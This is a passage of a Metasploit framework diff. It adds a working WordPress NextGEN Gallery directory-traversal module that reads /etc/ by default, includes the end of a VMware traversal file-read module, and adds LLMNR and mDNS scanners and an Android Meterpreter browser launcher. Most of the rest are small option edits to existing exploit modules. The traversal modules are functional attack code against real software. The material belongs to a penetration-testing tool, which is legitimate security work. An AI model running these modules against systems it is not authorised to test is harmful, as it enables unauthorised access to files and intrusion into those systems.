traversal = ".\\..\\..\\..\\..\\..\\..\\..\\"
uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE']
print_status("#{rhost}:#{rport} - Requesting: #{uri}")
res = send_request_raw({
'method' => 'GET',
'uri' => uri
}, 25)
# If there's no response, don't bother
if res.nil? or res.body.empty?
print_error("No content retrieved from: #{ip}")
return
end
if res.code == 404
print_error("#{rhost}:#{rport} - File not found")
return
else
print_good("File retrieved from: #{ip}")
p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname)
print_status("File stored in: #{p}")
end
end
end

View File

@ -0,0 +1,152 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'json'
require 'nokogiri'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress NextGEN Gallery Directory Read Vulnerability',
'Description' => %q{
This module exploits an authenticated directory traversal vulnerability
in WordPress Plugin "NextGEN Gallery" version 2.1.7, allowing
to read arbitrary directories with the web server privileges.
},
'References' =>
[
['WPVDB', '8165'],
['URL', 'http://permalink.gmane.org/gmane.comp.security.oss.general/17650']
],
'Author' =>
[
'Sathish Kumar', # Vulnerability Discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('WP_USER', [true, 'A valid username', nil]),
OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]),
OptString.new('DIRPATH', [true, 'The path to the directory to read', '/etc/']),
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
], self.class)
end
def user
datastore['WP_USER']
end
def password
datastore['WP_PASS']
end
def check
check_plugin_version_from_readme('nextgen-gallery', '2.1.9')
end
def get_nonce(cookie)
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
'method' => 'GET',
'vars_get' => {
'page' => 'ngg_addgallery'
},
'cookie' => cookie
)
if res && res.redirect? && res.redirection
location = res.redirection
print_status("#{peer} - Following redirect to #{location}")
res = send_request_cgi(
'uri' => location,
'method' => 'GET',
'cookie' => cookie
)
end
res.body.scan(/var browse_params = {"nextgen_upload_image_sec":"(.+)"};/).flatten.first
end
def parse_paths(res)
begin
j = JSON.parse(res.body)
rescue JSON::ParserError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
return []
end
html = j['html']
noko = Nokogiri::HTML(html)
links = noko.search('a')
links.collect { |e| normalize_uri("#{datastore['DIRPATH']}/#{e.text}") }
end
def run_host(ip)
vprint_status("#{peer} - Trying to login as: #{user}")
cookie = wordpress_login(user, password)
if cookie.nil?
print_error("#{peer} - Unable to login as: #{user}")
return
end
vprint_status("#{peer} - Trying to get nonce...")
nonce = get_nonce(cookie)
if nonce.nil?
print_error("#{peer} - Can not get nonce after login")
return
end
vprint_status("#{peer} - Got nonce: #{nonce}")
traversal = "../" * datastore['DEPTH']
filename = datastore['DIRPATH']
filename = filename[1, filename.length] if filename =~ /^\//
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Referer' => "http://#{rhost}/wordpress/wp-admin/admin.php?page=ngg_addgallery",
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_get' => {
'photocrati_ajax' => '1'
},
'vars_post' => {
'nextgen_upload_image_sec' => "#{nonce}",
'action' => 'browse_folder',
'dir' => "#{traversal}#{filename}"
},
'cookie' => cookie
)
if res && res.code == 200
paths = parse_paths(res)
vprint_line(paths * "\n")
fname = datastore['DIRPATH']
path = store_loot(
'nextgen.traversal',
'text/plain',
ip,
paths * "\n",
fname
)
print_good("#{peer} - File saved in: #{path}")
else
print_error("#{peer} - Nothing was downloaded. You can try to change the DIRPATH.")
end
end
end

View File

@ -0,0 +1,51 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::UDPScanner
include Msf::Auxiliary::LLMNR
def initialize(info = {})
super(
update_info(
info,
'Name' => 'LLMNR Query',
'Description' => %q(
This module sends LLMNR queries, which are really just normal UDP DNS
queries done (usually) over multicast on a different port, 5355.
Targets other than the default RHOSTS' 224.0.0.252 should not respond
but may anyway.
),
'Author' =>
[
'Jon Hart <jon_hart[at]rapid7.com>'
],
'License' => MSF_LICENSE
)
)
end
def scanner_prescan(batch)
print_status("Sending LLMNR #{query_type_name}/#{query_class_name} queries for #{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)")
@results = {}
end
def scanner_postscan(_batch)
found = {}
@results.each_pair do |peer, resps|
resps.each do |resp|
found[peer] ||= {}
next if found[peer][resp]
response_info = describe_response(resp)
print_good("#{peer} responded with #{response_info}")
report_service(host: peer, port: rport, proto: "udp", name: "llmnr", info: response_info)
found[peer][resp] = true
end
end
end
end

View File

@ -0,0 +1,50 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::UDPScanner
include Msf::Auxiliary::MDNS
def initialize(info = {})
super(
update_info(
info,
'Name' => 'mDNS Query',
'Description' => %q(
This module sends mDNS queries, which are really just normal UDP DNS
queries done (usually) over multicast on a different port, 5353.
),
'Author' =>
[
'Jon Hart <jon_hart[at]rapid7.com>'
],
'License' => MSF_LICENSE
)
)
end
def scanner_prescan(batch)
print_status("Sending mDNS #{query_type_name} #{query_class_name} queries for " \
"#{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)")
@results = {}
end
def scanner_postscan(_batch)
found = {}
@results.each_pair do |peer, resps|
resps.each do |resp|
found[peer] ||= {}
next if found[peer][resp]
response_info = describe_response(resp)
print_good("#{peer} responded with #{response_info}")
report_service(host: peer, port: rport, proto: "udp", name: "mdns", info: response_info)
found[peer][resp] = true
end
end
end
end

View File

@ -0,0 +1,53 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => "Android Meterpreter Browsable Launcher",
'Description' => %q{
This module allows you to open an android meterpreter via a browser. An Android
meterpreter must be installed as an application beforehand on the target device
in order to use this.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
[ 'URL', 'http://developer.android.com/reference/android/content/Intent.html#CATEGORY_BROWSABLE' ]
]
))
end
def run
exploit
end
def html
%Q|
<html>
<body>
<script>
location.href = "intent://my_host#Intent;scheme=metasploit;action=android.intent.action.VIEW;end";
</script>
<noscript>
<meta http-equiv="refresh" content="1; url=intent://my_host#Intent;scheme=metasploit;action=android.intent.action.VIEW;end">
</noscript>
</body>
</html>
|
end
def on_request_uri(cli, request)
print_status("Sending HTML...")
send_response(cli, html)
end
end

View File

@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Payload' =>
{

View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'none'
'EXITFUNC' => 'thread'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,

View File

@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,

View File

@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
{
'WfsDelay' => 300, #5 minutes
'DisablePayloadHandler' => 'false',
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,

View File

@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => 'none'
'EXITFUNC' => 'thread'
},
'Targets' =>
[

View File

@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'none'
'EXITFUNC' => 'thread'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,

View File

@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => ['linux'],
'Arch' => ARCH_X86,

View File

@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Payload' =>
{

View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Payload' =>
{

View File

@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,

View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,

View File

@ -35,7 +35,13 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => %w{ win linux unix },
'Targets' =>
[
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}],
['Windows',
{
'Arch' => [ ARCH_X86_64, ARCH_X86 ],
'Platform' => 'win',
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
}
],
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
],

View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,

View File

@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,

View File

@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => %w{ linux php },
'Targets' =>

View File

@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,

View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,

View File

@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Arch' => ARCH_PHP,
'Platform' => ['php'],

View File

@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => %w{ java linux win },
'Targets' =>

View File

@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => %w{ linux unix },
'Arch' => ARCH_CMD,

View File

@ -62,7 +62,7 @@ class Metasploit4 < Msf::Exploit::Local
end
def check
(ver?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
(ver?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
end
def ver?

View File

@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Local
def check
if ver_lt(osx_ver, "10.10")
Exploit::CheckCode::Vulnerable
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end

View File

@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Local
def check
if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
Exploit::CheckCode::Vulnerable
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end

View File

@ -60,7 +60,7 @@ class Metasploit4 < Msf::Exploit::Local
end
def check
(ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
(ver? && admin?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
end
def exploit

View File

@ -53,7 +53,7 @@ class Metasploit4 < Msf::Exploit::Local
def check
if ver? && admin?
vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
return Exploit::CheckCode::Vulnerable
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end

View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,

View File

@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,

View File

@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => 'none'
'EXITFUNC' => 'thread'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,

View File

@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,

View File

@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,

View File

@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',

View File

@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
'EXITFUNC' => 'thread',
'URIPATH' => "/shakeitoff.mp3"
},
'Platform' => 'win',

View File

@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',

View File

@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',

View File

@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',

View File

@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',

View File

@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',

View File

@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Payload' =>

View File

@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>

View File

@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "seh"
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>

View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>

View File

@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>

View File

@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
'SaveRegisters' => [ 'ESP' ],
'DefaultOptions' =>
{
'ExitFunction' => "process",
'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Targets' =>

View File

@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Targets' =>

View File

@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>

View File

@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Targets' =>

View File

@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "seh"
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>

View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>

View File

@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => 'false'
},
'Platform' => 'win',

View File

@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'EXITFUNC' => 'thread',
'PrependMigrate' => true
},
'Platform' => 'win',

View File

@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
'EXITFUNC' => 'process'
},
'Platform' => 'win',
'Payload' =>

View File

@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>

View File

@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'seh'
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>

View File

@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'seh',
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',

View File

@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Payload' =>

View File

@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>

View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'ExitFunction' => 'seh'
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>

View File

@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "thread"
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>

View File

@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'ExitFunction' => "process"
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>

View File

@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
'Name' => 'MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
'Description' => %q{
A vulnerability within Microsoft Bluetooth Personal Area Networking module,
BthPan.sys, can allow an attacker to inject memory controlled by the attacker
@ -53,6 +53,7 @@ class Metasploit3 < Msf::Exploit::Local
],
'References' =>
[
[ 'MSB', 'MS14-062' ],
[ 'CVE', '2014-4971' ],
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],
[ 'OSVDB', '109387' ]
@ -136,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Local
session.railgun.kernel32.CloseHandle(handle)
return Exploit::CheckCode::Vulnerable
return Exploit::CheckCode::Detected
end
def exploit

View File

@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Local
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good 'UAC is set to Default'

View File

@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Local
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good('UAC is set to Default')

Some files were not shown because too many files have changed in this diff Show More